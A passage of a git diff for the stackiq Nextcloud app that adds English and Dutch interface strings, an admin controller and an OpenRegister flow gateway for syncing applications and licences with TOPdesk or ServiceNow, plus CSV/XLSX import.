of.": "The products, from which supplier, and what they consist of.", + "Which application exchanges data with which.": "Which application exchanges data with which.", + "Licences and contracts": "Licences and contracts", + "What you bought, how many licences, until when and at what cost.": "What you bought, how many licences, until when and at what cost.", + "The import of {rows} rows has started. The applications appear as the run goes.": "The import of {rows} rows has started. The applications appear as the run goes.", + "The import did not start.": "The import did not start.", + "Keep applications, connections, licences and contracts in step with TOPdesk or ServiceNow. Add the service desk source in integriq first; stackiq never holds its password.": "Keep applications, connections, licences and contracts in step with TOPdesk or ServiceNow. Add the service desk source in integriq first; stackiq never holds its password.", + "Loading the service desk exchange…": "Loading the service desk exchange…", + "OpenRegister's flow engine is not available, so the exchange cannot run.": "OpenRegister's flow engine is not available, so the exchange cannot run.", + "Set up for {desk} on {date}. The import runs every night at 02:00.": "Set up for {desk} on {date}. The import runs every night at 02:00.", + "Service desk": "Service desk", + "Choose TOPdesk or ServiceNow": "Choose TOPdesk or ServiceNow", + "Your organisation": "Your organisation", + "The organisation whose applications are exchanged": "The organisation whose applications are exchanged", + "Set up again": "Set up again", + "Set up the exchange": "Set up the exchange", + "{count} flows are set up. The first import runs tonight.": "{count} flows are set up. The first import runs tonight.", + "The service desk this record is kept in step with.": "The service desk this record is kept in step with.", + "TOPdesk": "TOPdesk", + "ServiceNow": "ServiceNow", + "File import": "File import", + "Service desk record": "Service desk record", + "The record id in the service desk. The import matches on it first.": "The record id in the service desk. The import matches on it first.", + "Service desk link": "Service desk link", + "Opens the record in the service desk.": "Opens the record in the service desk.", + "Last synchronised": "Last synchronised", + "When the service desk exchange last wrote this record.": "When the service desk exchange last wrote this record.", + "Installed version": "Installed version", + "The version the service desk records as installed. The service desk owns it.": "The version the service desk records as installed. The service desk owns it.", + "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.": "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.", + "Supplier reference": "Supplier reference", + "The supplier's own number for this contract or licence agreement.": "The supplier's own number for this contract or licence agreement.", + "Currency": "Currency", + "The currency of the costs, as a three-letter ISO 4217 code.": "The currency of the costs, as a three-letter ISO 4217 code.", + "The organisation this contract or licence was bought from.": "The organisation this contract or licence was bought from.", + "TOPdesk asset template id": "TOPdesk asset template id", + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 21f9325c5..fbee94c64 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -900,6 +900,60 @@ "Scored on": "Scored on", "The date the scores were set.": "The date the scores were set.", "Suggested TIME classification": "Suggested TIME classification", - "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision." + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.", + "CMDB": "CMDB", + "Stackiq is your configuration management database for applications. It records what your organisation runs, what it is made of, how it connects and what you pay for it.": "Stackiq is your configuration management database for applications. It records what your organisation runs, what it is made of, how it connects and what you pay for it.", + "What stackiq records": "What stackiq records", + "What stackiq does not record": "What stackiq does not record", + "Servers, laptops and network devices are not recorded here, and stackiq does not discover hardware on your network. Tickets and incidents stay in your service desk.": "Servers, laptops and network devices are not recorded here, and stackiq does not discover hardware on your network. Tickets and incidents stay in your service desk.", + "Service desk exchange": "Service desk exchange", + "Stackiq and {desk} are in step. The import runs every night at 02:00, and stackiq sends its own changes straight away.": "Stackiq and {desk} are in step. The import runs every night at 02:00, and stackiq sends its own changes straight away.", + "No service desk is connected yet. An admin connects TOPdesk or ServiceNow in the admin settings.": "No service desk is connected yet. An admin connects TOPdesk or ServiceNow in the admin settings.", + "The service desk owns the name, supplier, installed version and status of an application. Stackiq owns licences, contracts, BBN level, TIME class and publication. Each side only overwrites the fields it owns.": "The service desk owns the name, supplier, installed version and status of an application. Stackiq owns licences, contracts, BBN level, TIME class and publication. Each side only overwrites the fields it owns.", + "Change the exchange": "Change the exchange", + "Connect a service desk": "Connect a service desk", + "Import a file": "Import a file", + "No service desk API? Import a CSV or XLSX file with the columns recordId, name, supplierName, installedVersion and status. Importing the same file again updates the applications instead of adding them twice.": "No service desk API? Import a CSV or XLSX file with the columns recordId, name, supplierName, installedVersion and status. Importing the same file again updates the applications instead of adding them twice.", + "File to import": "File to import", + "Import file": "Import file", + "What your organisation runs, which version, and who owns it.": "What your organisation runs, which version, and who owns it.", + "Applications and their components": "Applications and their components", + "The products, from which supplier, and what they consist of.": "The products, from which supplier, and what they consist of.", + "Which application exchanges data with which.": "Which application exchanges data with which.", + "Licences and contracts": "Licences and contracts", + "What you bought, how many licences, until when and at what cost.": "What you bought, how many licences, until when and at what cost.", + "The import of {rows} rows has started. The applications appear as the run goes.": "The import of {rows} rows has started. The applications appear as the run goes.", + "The import did not start.": "The import did not start.", + "Keep applications, connections, licences and contracts in step with TOPdesk or ServiceNow. Add the service desk source in integriq first; stackiq never holds its password.": "Keep applications, connections, licences and contracts in step with TOPdesk or ServiceNow. Add the service desk source in integriq first; stackiq never holds its password.", + "Loading the service desk exchange…": "Loading the service desk exchange…", + "OpenRegister's flow engine is not available, so the exchange cannot run.": "OpenRegister's flow engine is not available, so the exchange cannot run.", + "Set up for {desk} on {date}. The import runs every night at 02:00.": "Set up for {desk} on {date}. The import runs every night at 02:00.", + "Service desk": "Service desk", + "Choose TOPdesk or ServiceNow": "Choose TOPdesk or ServiceNow", + "Your organisation": "Your organisation", + "The organisation whose applications are exchanged": "The organisation whose applications are exchanged", + "Set up again": "Set up again", + "Set up the exchange": "Set up the exchange", + "{count} flows are set up. The first import runs tonight.": "{count} flows are set up. The first import runs tonight.", + "The service desk this record is kept in step with.": "The service desk this record is kept in step with.", + "TOPdesk": "TOPdesk", + "ServiceNow": "ServiceNow", + "File import": "File import", + "Service desk record": "Service desk record", + "The record id in the service desk. The import matches on it first.": "The record id in the service desk. The import matches on it first.", + "Service desk link": "Service desk link", + "Opens the record in the service desk.": "Opens the record in the service desk.", + "Last synchronised": "Last synchronised", + "When the service desk exchange last wrote this record.": "When the service desk exchange last wrote this record.", + "Installed version": "Installed version", + "The version the service desk records as installed. The service desk owns it.": "The version the service desk records as installed. The service desk owns it.", + "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.": "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.", + "Supplier reference": "Supplier reference", + "The supplier's own number for this contract or licence agreement.": "The supplier's own number for this contract or licence agreement.", + "Currency": "Currency", + "The currency of the costs, as a three-letter ISO 4217 code.": "The currency of the costs, as a three-letter ISO 4217 code.", + "The organisation this contract or licence was bought from.": "The organisation this contract or licence was bought from.", + "TOPdesk asset template id": "TOPdesk asset template id", + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk." } } diff --git a/l10n/nl.js b/l10n/nl.js index 5d5db0a5b..ea47b67c6 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -971,7 +971,61 @@ OC.L10N.register( "Scored on": "Gescoord op", "The date the scores were set.": "De datum waarop de scores zijn vastgesteld.", "Suggested TIME classification": "Voorgestelde TIME-classificatie", - "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "De TIME-klasse waar de bedrijfswaarde en de technische geschiktheid op wijzen. Berekend bij het opslaan van het gebruik; de vastgelegde TIME-classificatie blijft het besluit." + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "De TIME-klasse waar de bedrijfswaarde en de technische geschiktheid op wijzen. Berekend bij het opslaan van het gebruik; de vastgelegde TIME-classificatie blijft het besluit.", + "CMDB": "CMDB", + "Stackiq is your configuration management database for applications. It records what your organisation runs, what it is made of, how it connects and what you pay for it.": "Stackiq is je configuratiebeheerdatabase voor applicaties. Het legt vast wat je organisatie draait, waaruit het bestaat, hoe het samenhangt en wat je ervoor betaalt.", + "What stackiq records": "Wat stackiq vastlegt", + "What stackiq does not record": "Wat stackiq niet vastlegt", + "Servers, laptops and network devices are not recorded here, and stackiq does not discover hardware on your network. Tickets and incidents stay in your service desk.": "Servers, laptops en netwerkapparatuur leg je hier niet vast, en stackiq ontdekt geen hardware op je netwerk. Meldingen en incidenten blijven in je servicedesk.", + "Service desk exchange": "Uitwisseling met de servicedesk", + "Stackiq and {desk} are in step. The import runs every night at 02:00, and stackiq sends its own changes straight away.": "Stackiq en {desk} lopen gelijk. De import draait elke nacht om 02:00, en stackiq stuurt zijn eigen wijzigingen meteen door.", + "No service desk is connected yet. An admin connects TOPdesk or ServiceNow in the admin settings.": "Er is nog geen servicedesk gekoppeld. Een beheerder koppelt TOPdesk of ServiceNow in de beheerinstellingen.", + "The service desk owns the name, supplier, installed version and status of an application. Stackiq owns licences, contracts, BBN level, TIME class and publication. Each side only overwrites the fields it owns.": "De servicedesk is eigenaar van de naam, leverancier, geïnstalleerde versie en status van een applicatie. Stackiq is eigenaar van licenties, contracten, BBN-niveau, TIME-klasse en publicatie. Elke kant overschrijft alleen de velden waarvan hij eigenaar is.", + "Change the exchange": "Uitwisseling wijzigen", + "Connect a service desk": "Servicedesk koppelen", + "Import a file": "Bestand importeren", + "No service desk API? Import a CSV or XLSX file with the columns recordId, name, supplierName, installedVersion and status. Importing the same file again updates the applications instead of adding them twice.": "Geen API op je servicedesk? Importeer een CSV- of XLSX-bestand met de kolommen recordId, name, supplierName, installedVersion en status. Importeer je hetzelfde bestand opnieuw, dan worden de applicaties bijgewerkt in plaats van dubbel toegevoegd.", + "File to import": "Te importeren bestand", + "Import file": "Bestand importeren", + "What your organisation runs, which version, and who owns it.": "Wat je organisatie draait, welke versie, en wie eigenaar is.", + "Applications and their components": "Applicaties en hun onderdelen", + "The products, from which supplier, and what they consist of.": "De producten, van welke leverancier, en waaruit ze bestaan.", + "Which application exchanges data with which.": "Welke applicatie gegevens uitwisselt met welke.", + "Licences and contracts": "Licenties en contracten", + "What you bought, how many licences, until when and at what cost.": "Wat je hebt gekocht, hoeveel licenties, tot wanneer en tegen welke kosten.", + "The import of {rows} rows has started. The applications appear as the run goes.": "De import van {rows} rijen is gestart. De applicaties verschijnen terwijl de run loopt.", + "The import did not start.": "De import is niet gestart.", + "Keep applications, connections, licences and contracts in step with TOPdesk or ServiceNow. Add the service desk source in integriq first; stackiq never holds its password.": "Houd applicaties, koppelingen, licenties en contracten gelijk met TOPdesk of ServiceNow. Voeg eerst de servicedeskbron toe in integriq; stackiq bewaart het wachtwoord nooit.", + "Loading the service desk exchange…": "Uitwisseling met de servicedesk laden…", + "OpenRegister's flow engine is not available, so the exchange cannot run.": "De flow-engine van OpenRegister is niet beschikbaar, dus de uitwisseling kan niet draaien.", + "Set up for {desk} on {date}. The import runs every night at 02:00.": "Ingesteld voor {desk} op {date}. De import draait elke nacht om 02:00.", + "Service desk": "Servicedesk", + "Choose TOPdesk or ServiceNow": "Kies TOPdesk of ServiceNow", + "Your organisation": "Je organisatie", + "The organisation whose applications are exchanged": "De organisatie waarvan de applicaties worden uitgewisseld", + "Set up again": "Opnieuw instellen", + "Set up the exchange": "Uitwisseling instellen", + "{count} flows are set up. The first import runs tonight.": "{count} flows zijn ingesteld. De eerste import draait vannacht.", + "The service desk this record is kept in step with.": "De servicedesk waarmee dit record gelijk wordt gehouden.", + "TOPdesk": "TOPdesk", + "ServiceNow": "ServiceNow", + "File import": "Bestandsimport", + "Service desk record": "Servicedeskrecord", + "The record id in the service desk. The import matches on it first.": "Het record-id in de servicedesk. De import zoekt hier eerst op.", + "Service desk link": "Link naar de servicedesk", + "Opens the record in the service desk.": "Opent het record in de servicedesk.", + "Last synchronised": "Laatst gesynchroniseerd", + "When the service desk exchange last wrote this record.": "Wanneer de uitwisseling met de servicedesk dit record het laatst heeft geschreven.", + "Installed version": "Geïnstalleerde versie", + "The version the service desk records as installed. The service desk owns it.": "De versie die de servicedesk als geïnstalleerd vastlegt. De servicedesk is er eigenaar van.", + "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.": "Publiceer deze applicatie in gebruik vanaf deze datum in de openbare catalogus. Laat leeg om haar intern te houden.", + "Supplier reference": "Referentie van de leverancier", + "The supplier's own number for this contract or licence agreement.": "Het eigen nummer van de leverancier voor dit contract of deze licentieovereenkomst.", + "Currency": "Valuta", + "The currency of the costs, as a three-letter ISO 4217 code.": "De valuta van de kosten, als ISO 4217-code van drie letters.", + "The organisation this contract or licence was bought from.": "De organisatie waarvan dit contract of deze licentie is gekocht.", + "TOPdesk asset template id": "Id van het TOPdesk-assetsjabloon", + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk heeft een sjabloon nodig om een asset aan te maken. Kopieer het id van je sjabloon Applicatie uit TOPdesk." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index f84eed6e2..f340f06b1 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -970,6 +970,60 @@ "Scored on": "Gescoord op", "The date the scores were set.": "De datum waarop de scores zijn vastgesteld.", "Suggested TIME classification": "Voorgestelde TIME-classificatie", - "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "De TIME-klasse waar de bedrijfswaarde en de technische geschiktheid op wijzen. Berekend bij het opslaan van het gebruik; de vastgelegde TIME-classificatie blijft het besluit." + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "De TIME-klasse waar de bedrijfswaarde en de technische geschiktheid op wijzen. Berekend bij het opslaan van het gebruik; de vastgelegde TIME-classificatie blijft het besluit.", + "CMDB": "CMDB", + "Stackiq is your configuration management database for applications. It records what your organisation runs, what it is made of, how it connects and what you pay for it.": "Stackiq is je configuratiebeheerdatabase voor applicaties. Het legt vast wat je organisatie draait, waaruit het bestaat, hoe het samenhangt en wat je ervoor betaalt.", + "What stackiq records": "Wat stackiq vastlegt", + "What stackiq does not record": "Wat stackiq niet vastlegt", + "Servers, laptops and network devices are not recorded here, and stackiq does not discover hardware on your network. Tickets and incidents stay in your service desk.": "Servers, laptops en netwerkapparatuur leg je hier niet vast, en stackiq ontdekt geen hardware op je netwerk. Meldingen en incidenten blijven in je servicedesk.", + "Service desk exchange": "Uitwisseling met de servicedesk", + "Stackiq and {desk} are in step. The import runs every night at 02:00, and stackiq sends its own changes straight away.": "Stackiq en {desk} lopen gelijk. De import draait elke nacht om 02:00, en stackiq stuurt zijn eigen wijzigingen meteen door.", + "No service desk is connected yet. An admin connects TOPdesk or ServiceNow in the admin settings.": "Er is nog geen servicedesk gekoppeld. Een beheerder koppelt TOPdesk of ServiceNow in de beheerinstellingen.", + "The service desk owns the name, supplier, installed version and status of an application. Stackiq owns licences, contracts, BBN level, TIME class and publication. Each side only overwrites the fields it owns.": "De servicedesk is eigenaar van de naam, leverancier, geïnstalleerde versie en status van een applicatie. Stackiq is eigenaar van licenties, contracten, BBN-niveau, TIME-klasse en publicatie. Elke kant overschrijft alleen de velden waarvan hij eigenaar is.", + "Change the exchange": "Uitwisseling wijzigen", + "Connect a service desk": "Servicedesk koppelen", + "Import a file": "Bestand importeren", + "No service desk API? Import a CSV or XLSX file with the columns recordId, name, supplierName, installedVersion and status. Importing the same file again updates the applications instead of adding them twice.": "Geen API op je servicedesk? Importeer een CSV- of XLSX-bestand met de kolommen recordId, name, supplierName, installedVersion en status. Importeer je hetzelfde bestand opnieuw, dan worden de applicaties bijgewerkt in plaats van dubbel toegevoegd.", + "File to import": "Te importeren bestand", + "Import file": "Bestand importeren", + "What your organisation runs, which version, and who owns it.": "Wat je organisatie draait, welke versie, en wie eigenaar is.", + "Applications and their components": "Applicaties en hun onderdelen", + "The products, from which supplier, and what they consist of.": "De producten, van welke leverancier, en waaruit ze bestaan.", + "Which application exchanges data with which.": "Welke applicatie gegevens uitwisselt met welke.", + "Licences and contracts": "Licenties en contracten", + "What you bought, how many licences, until when and at what cost.": "Wat je hebt gekocht, hoeveel licenties, tot wanneer en tegen welke kosten.", + "The import of {rows} rows has started. The applications appear as the run goes.": "De import van {rows} rijen is gestart. De applicaties verschijnen terwijl de run loopt.", + "The import did not start.": "De import is niet gestart.", + "Keep applications, connections, licences and contracts in step with TOPdesk or ServiceNow. Add the service desk source in integriq first; stackiq never holds its password.": "Houd applicaties, koppelingen, licenties en contracten gelijk met TOPdesk of ServiceNow. Voeg eerst de servicedeskbron toe in integriq; stackiq bewaart het wachtwoord nooit.", + "Loading the service desk exchange…": "Uitwisseling met de servicedesk laden…", + "OpenRegister's flow engine is not available, so the exchange cannot run.": "De flow-engine van OpenRegister is niet beschikbaar, dus de uitwisseling kan niet draaien.", + "Set up for {desk} on {date}. The import runs every night at 02:00.": "Ingesteld voor {desk} op {date}. De import draait elke nacht om 02:00.", + "Service desk": "Servicedesk", + "Choose TOPdesk or ServiceNow": "Kies TOPdesk of ServiceNow", + "Your organisation": "Je organisatie", + "The organisation whose applications are exchanged": "De organisatie waarvan de applicaties worden uitgewisseld", + "Set up again": "Opnieuw instellen", + "Set up the exchange": "Uitwisseling instellen", + "{count} flows are set up. The first import runs tonight.": "{count} flows zijn ingesteld. De eerste import draait vannacht.", + "The service desk this record is kept in step with.": "De servicedesk waarmee dit record gelijk wordt gehouden.", + "TOPdesk": "TOPdesk", + "ServiceNow": "ServiceNow", + "File import": "Bestandsimport", + "Service desk record": "Servicedeskrecord", + "The record id in the service desk. The import matches on it first.": "Het record-id in de servicedesk. De import zoekt hier eerst op.", + "Service desk link": "Link naar de servicedesk", + "Opens the record in the service desk.": "Opent het record in de servicedesk.", + "Last synchronised": "Laatst gesynchroniseerd", + "When the service desk exchange last wrote this record.": "Wanneer de uitwisseling met de servicedesk dit record het laatst heeft geschreven.", + "Installed version": "Geïnstalleerde versie", + "The version the service desk records as installed. The service desk owns it.": "De versie die de servicedesk als geïnstalleerd vastlegt. De servicedesk is er eigenaar van.", + "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.": "Publiceer deze applicatie in gebruik vanaf deze datum in de openbare catalogus. Laat leeg om haar intern te houden.", + "Supplier reference": "Referentie van de leverancier", + "The supplier's own number for this contract or licence agreement.": "Het eigen nummer van de leverancier voor dit contract of deze licentieovereenkomst.", + "Currency": "Valuta", + "The currency of the costs, as a three-letter ISO 4217 code.": "De valuta van de kosten, als ISO 4217-code van drie letters.", + "The organisation this contract or licence was bought from.": "De organisatie waarvan dit contract of deze licentie is gekocht.", + "TOPdesk asset template id": "Id van het TOPdesk-assetsjabloon", + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk heeft een sjabloon nodig om een asset aan te maken. Kopieer het id van je sjabloon Applicatie uit TOPdesk." } } diff --git a/lib/Controller/ItsmExchangeController.php b/lib/Controller/ItsmExchangeController.php new file mode 100644 index 000000000..2ef5baefe --- /dev/null +++ b/lib/Controller/ItsmExchangeController.php @@ -0,0 +1,154 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Controller; + +use OCA\Stackiq\AppInfo\Application; +use OCA\Stackiq\Service\ItsmExchangeService; +use OCA\Stackiq\Service\ItsmFileImportService; +use OCA\Stackiq\Settings\StackiqAdmin; +use OCP\AppFramework\Controller; +use OCP\AppFramework\Http; +use OCP\AppFramework\Http\Attribute\AuthorizedAdminSetting; +use OCP\AppFramework\Http\Attribute\NoAdminRequired; +use OCP\AppFramework\Http\JSONResponse; +use OCP\IRequest; +use OCP\IUserSession; + +/** + * Admin set-up and import, and a public-to-users status, for the service desk exchange. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ +class ItsmExchangeController extends Controller { + + /** + * Constructor. + * + * @param IRequest $request The request. + * @param ItsmExchangeService $exchange Sets up the flows. + * @param ItsmFileImportService $fileImport Imports a spreadsheet. + * @param IUserSession $userSession The signed-in user, who the imports run as. + */ + public function __construct( + IRequest $request, + private readonly ItsmExchangeService $exchange, + private readonly ItsmFileImportService $fileImport, + private readonly IUserSession $userSession, + ) { + parent::__construct(appName: Application::APP_ID, request: $request); + }//end __construct() + + /** + * Whether the exchange runs, and with which desk. + * + * @NoAdminRequired + * + * @return JSONResponse The summary. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-007-the-cmdb-page-says-what-stackiq-is + */ + #[NoAdminRequired] + public function status(): JSONResponse { + $status = $this->exchange->status(); + + return new JSONResponse( + [ + 'available' => $status['available'], + 'enabled' => $status['enabled'], + 'desk' => $status['desk'], + 'setUpAt' => $status['setUpAt'], + 'desks' => $status['desks'], + ] + ); + }//end status() + + /** + * The full set-up, for the admin section. + * + * @AuthorizedAdminSetting(settings=OCA\Stackiq\Settings\StackiqAdmin) + * + * @return JSONResponse The set-up. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + #[AuthorizedAdminSetting(settings: StackiqAdmin::class)] + public function config(): JSONResponse { + return new JSONResponse($this->exchange->status()); + }//end config() + + /** + * Set up, or set up again, the exchange. + * + * @param string $desk The desk key. + * @param string $organisation The organisation uuid. + * @param string $templateId The desk's asset template for new records (TOPdesk), or empty. + * + * @AuthorizedAdminSetting(settings=OCA\Stackiq\Settings\StackiqAdmin) + * + * @return JSONResponse The outcome; 422 when nothing was created. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + #[AuthorizedAdminSetting(settings: StackiqAdmin::class)] + public function setUp(string $desk = '', string $organisation = '', string $templateId = ''): JSONResponse { + $user = $this->userSession->getUser(); + if ($user === null) { + return new JSONResponse(['created' => false, 'message' => 'Sign in first.'], Http::STATUS_UNAUTHORIZED); + } + + $result = $this->exchange->setUp(desk: $desk, organisation: $organisation, runAs: $user->getUID(), templateId: trim($templateId)); + if ($result['created'] !== true) { + return new JSONResponse($result, Http::STATUS_UNPROCESSABLE_ENTITY); + } + + return new JSONResponse($result); + }//end setUp() + + /** + * Import a CSV or XLSX file. + * + * @AuthorizedAdminSetting(settings=OCA\Stackiq\Settings\StackiqAdmin) + * + * @return JSONResponse The outcome; 422 when nothing started. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + */ + #[AuthorizedAdminSetting(settings: StackiqAdmin::class)] + public function import(): JSONResponse { + $file = $this->request->getUploadedFile('file'); + if (is_array($file) === false || ($file['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK || is_string($file['tmp_name'] ?? null) === false) { + return new JSONResponse(['started' => false, 'message' => 'Choose a .csv or .xlsx file to import.'], Http::STATUS_BAD_REQUEST); + } + + $result = $this->fileImport->import(path: $file['tmp_name'], name: (string) ($file['name'] ?? '')); + if ($result['started'] !== true) { + return new JSONResponse($result, Http::STATUS_UNPROCESSABLE_ENTITY); + } + + return new JSONResponse($result); + }//end import() +}//end class diff --git a/lib/Service/ConnectionReportService.php b/lib/Service/ConnectionReportService.php index dc598f4ed..1e058c974 100644 --- a/lib/Service/ConnectionReportService.php +++ b/lib/Service/ConnectionReportService.php @@ -83,6 +83,13 @@ class ConnectionReportService { */ public const KEY_EOL = 'eol-feed'; + /** + * The service desk exchange connection key in lib/Settings/connections.json. + * + * @var string + */ + public const KEY_ITSM = 'itsm'; + /** * The pull reason FederationService records for switched-off federation, which is never reported. * @@ -384,6 +391,25 @@ public function describeEolRun(array $runStatus): ?array { return (self::EOL_REASONS[$reason] ?? ['error', 'The last end-of-life sync stopped: ' . $this->shorten(text: $reason)]); }//end describeEolRun() + /** + * After the service desk exchange was set up: report what the set-up met. + * + * @param bool $created Whether every flow was created. + * @param string $message What the set-up found. + * + * @return bool True when a report was sent. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-007-the-cmdb-page-says-what-stackiq-is + */ + public function itsmSetUp(bool $created, string $message): bool { + $status = 'error'; + if ($created === true) { + $status = 'configured'; + } + + return $this->report(key: self::KEY_ITSM, status: $status, message: $this->shorten(text: $message)); + }//end itsmSetUp() + /** * Ask integriq to resolve one connection again. * diff --git a/lib/Service/Itsm/ItsmFlowGateway.php b/lib/Service/Itsm/ItsmFlowGateway.php new file mode 100644 index 000000000..f8abc9642 --- /dev/null +++ b/lib/Service/Itsm/ItsmFlowGateway.php @@ -0,0 +1,223 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Itsm; + +use Psr\Container\ContainerInterface; +use RuntimeException; +use Throwable; + +/** + * Validates, saves, publishes and runs flows through OpenRegister. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ +class ItsmFlowGateway { + + /** + * OpenRegister's preflight, which checks a flow against the live node registry. + * + * @var string + */ + private const PREFLIGHT = 'OCA\OpenRegister\Service\Flow\FlowNodePreflight'; + + /** + * OpenRegister's flow store. + * + * @var string + */ + private const FLOWS = 'OCA\OpenRegister\Service\Flow\FlowService'; + + /** + * OpenRegister's flow versions, which publish a draft. + * + * @var string + */ + private const VERSIONS = 'OCA\OpenRegister\Service\Flow\FlowVersionService'; + + /** + * OpenRegister's object service. + * + * @var string + */ + private const OBJECTS = 'OCA\OpenRegister\Service\ObjectService'; + + /** + * Constructor. + * + * @param ContainerInterface $container The server container. + */ + public function __construct( + private readonly ContainerInterface $container, + ) { + }//end __construct() + + /** + * Whether OpenRegister's flow engine is there. + * + * @return bool True when the flow classes resolve. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public function available(): bool { + return class_exists('\\' . self::FLOWS) === true && class_exists('\\' . self::PREFLIGHT) === true; + }//end available() + + /** + * Check a flow document against the live node registry. + * + * @param array $flow The flow document. + * + * @return array{blocking: list>, warnings: list>} The findings. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public function inspect(array $flow): array { + $result = $this->service(class: self::PREFLIGHT)->inspect($flow); + + return [ + 'blocking' => array_values((array) ($result['blocking'] ?? [])), + 'warnings' => array_values((array) ($result['warnings'] ?? [])), + ]; + }//end inspect() + + /** + * Save a flow, publish it and switch it on. + * + * @param array $flow The flow document. + * @param string|null $uuid The flow to update, or null to create one. + * + * @return string The flow's uuid. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public function saveAndPublish(array $flow, ?string $uuid): string { + $flows = $this->service(class: self::FLOWS); + if ($uuid !== null && $this->exists(uuid: $uuid) === false) { + $uuid = null; + } + + // A published version is immutable: open a draft first, so a second + // set-up edits the flow instead of being refused. + if ($uuid !== null) { + $existing = $flows->find($uuid); + if ((string) $existing->getLifecycleStatus() !== 'draft') { + $this->service(class: self::VERSIONS)->createDraft($existing); + } + } + + $saved = $flows->save($flow, $uuid); + $this->service(class: self::VERSIONS)->publish($saved); + + $enabled = $flows->save(['enabled' => true], (string) $saved->getUuid()); + + return (string) $enabled->getUuid(); + }//end saveAndPublish() + + /** + * Start a run of a flow with a payload, which seeds the run's first item. + * + * @param string $uuid The flow. + * @param array $payload The payload. + * + * @return string The run's uuid. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + */ + public function run(string $uuid, array $payload): string { + $run = $this->service(class: self::FLOWS)->run($uuid, [], ['payload' => $payload], false); + + return (string) $run->getUuid(); + }//end run() + + /** + * Read one object of a register and schema by id, uuid or slug. + * + * @param string $register The register slug. + * @param string $schema The schema slug. + * @param string $id The id, uuid or slug. + * + * @return array|null The object, or null when there is none. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public function findObject(string $register, string $schema, string $id): ?array { + try { + $found = $this->service(class: self::OBJECTS)->find($id, [], false, $register, $schema, false, false); + } catch (Throwable $e) { + return null; + } + + if (is_object($found) === false) { + return null; + } + + $object = (array) $found->jsonSerialize(); + $object['uuid'] = (string) $found->getUuid(); + + return $object; + }//end findObject() + 